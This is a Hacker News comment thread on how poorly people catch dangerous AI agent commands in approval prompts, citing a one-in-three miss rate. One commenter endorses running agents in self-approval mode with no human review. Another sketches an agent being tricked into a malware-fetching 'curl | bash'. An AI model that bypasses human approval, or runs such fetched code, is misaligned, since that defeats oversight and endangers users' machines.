| ▲ | dannyw 2 hours ago | parent | prev [-] | | The word and use of "engineering" predated what you describe as "real engineering work". |
|
|
|
| ▲ | tosh 2 hours ago | parent | prev | next [-] |
| the way to avoid these problems is not to hope for the user or the agent never to make mistakes it's designing the environment and invariants so whole categories of failures can not happen at all the agent ui nagging the user for approval is a ux anti-pattern, we already know how well this works for operating system permission dialogues |
|
| ▲ | Razengan 2 hours ago | parent | prev | next [-] |
| This brings me back to something I have always thought was lacking in OS security permissions architectures: WHY IS THERE NO WAY TO SET FILE PERMISSIONS PER APP??? We can set granular permissions per file and folder for elaborate hierarchies of users and groups, but there's no way to say "Don't let Notepad.exe read this file", or "Only let ls access this folder" macOS's Sandbox is a roundabout way of doing this (manually choosing a file via the Open dialog gives that app implicit permission, but it doesn't work for non-sandboxed apps of course) |
|
| ▲ | Oras 2 hours ago | parent | prev | next [-] |
| So humans scored 66% on human eval? |
|
| ▲ | jascha_eng 3 hours ago | parent | prev | next [-] |
| 1 in 3 is not terrible you just need a few more humans in the loop to reduce the error rate meaningfully. Combined with other classifier models and heuristics you can get good results. Humans can probably also perform better if they don't have to judge every single command but just suspicious ones our attention is limited after all. |
| |
| ▲ | crabbone 2 hours ago | parent [-] | | 1 in 3 is end of the line awful... Back when I was in college (former USSR), we had a subject roughly translated as "integration with industrial processes". USSR industry was highly regimented. Various norms, tolerances, recipes etc. were described in GOSTs (a kind of arsenal of industry standards). There were also some common knowledge / statistical bits that went into making these GOSTs. I mention this because this system dealt in great detail with quantifying human error (as well as errors resulting from equipment use etc.). One of the core assumptions was that outside of extraordinary circumstances, the expected rate of human error is about 5%. However, the course also provided examples where error rates were significantly lower (eg. nurses in maternity wards would have a much lower than 0.1% error rate when pairing mothers with newborns). The error rates, of course, also depended on human ability to measure the difference. Since I was studying typography, the printing process was of particular interest. A GOST for offset printing required that the color intensity for each ink of CMYK, for example, should be within +-2.5% range of the intended intensity. This is difficult for someone who doesn't have a lot of experience operating an offset printing machine to spot, but experienced printers have no problem with that. Most importantly. There was never an acceptable error rate of 33%. Not for anything. If people were likely to make that many errors (eg. because the measurement was too difficult), that product would never have been allowed into production. | | |
| ▲ | cedilla 2 hours ago | parent [-] | | 1/3, but under unreasonable time pressure, and with no prior vetting. For example, I played a few times, and I'm not a JS developer. I had to just suss out if npm whatever is dangerous or not. I'm very happy with my personal 25%. |
|
|
|
| ▲ | xlii 3 hours ago | parent | prev | next [-] |
| I implemented few agent harnesses (and rik! advertising time: https://rik.axk.sh), and once doing that I noticed one thing: Context-less self-approval is working well. The failure mode is usually false positives (i.e. safe commands being rejected), not the other way around, with root cause of requesting agent underspecifying context (e.g. not mentioning in the request that it's made on behalf of user etc.) Thus, I'm running self-approval YOLO modes on state-of-the-art models for quite some time and it didn't bit me. It might, but hey, we're long gone from the age of predictable software development. |
|
| ▲ | eugenekolo 2 hours ago | parent | prev | next [-] |
| Surprised only 1/3 tbh. |
|
| ▲ | oblio an hour ago | parent | prev | next [-] |
| We already have the solution. Use AI to validate AI agent commands. |
|
| ▲ | threethirtytwo 2 hours ago | parent | prev | next [-] |
| The future of software is fixing bugs and security issues in production. Many companies will be accepting this new paradigm because of raw speed. Something that could take say 4 years to fully mature will now take less than a year. But the cost is that many of these issues will have to be caught during live QA either in production or investing heavily in QA. That’s the future. |
|
| ▲ | Damjanski 2 hours ago | parent | prev | next [-] |
| love this so much! |
|
| ▲ | rvz 2 hours ago | parent | prev | next [-] |
| Proof that people just do not read what they are seeing on their screens when put too much trust in the agent as it prints the result and they will approve anything on their machine. So if a basic curl | bash was tweaked to download malware which the agent gets tricked into running the command but it said it was safe, the user would just approve it. |
|
| ▲ | unclebucknasty 2 hours ago | parent | prev [-] |
| Interesting premise, but there's not much real world meaning here without stats on the percentage of agent-offered commands that are actually dangerous. If that number is something like 10%, then we have a really big problem. But, if it's .000001%, then it's pretty vanishing. At some point in between we cross a threshold that puts the risk below many other risks that we routinely take (e.g. trusting npm dependency graphs). Of course, if it's really that low a percentage, then the entire model of "supervising" via human approval really is fundamentally flawed. |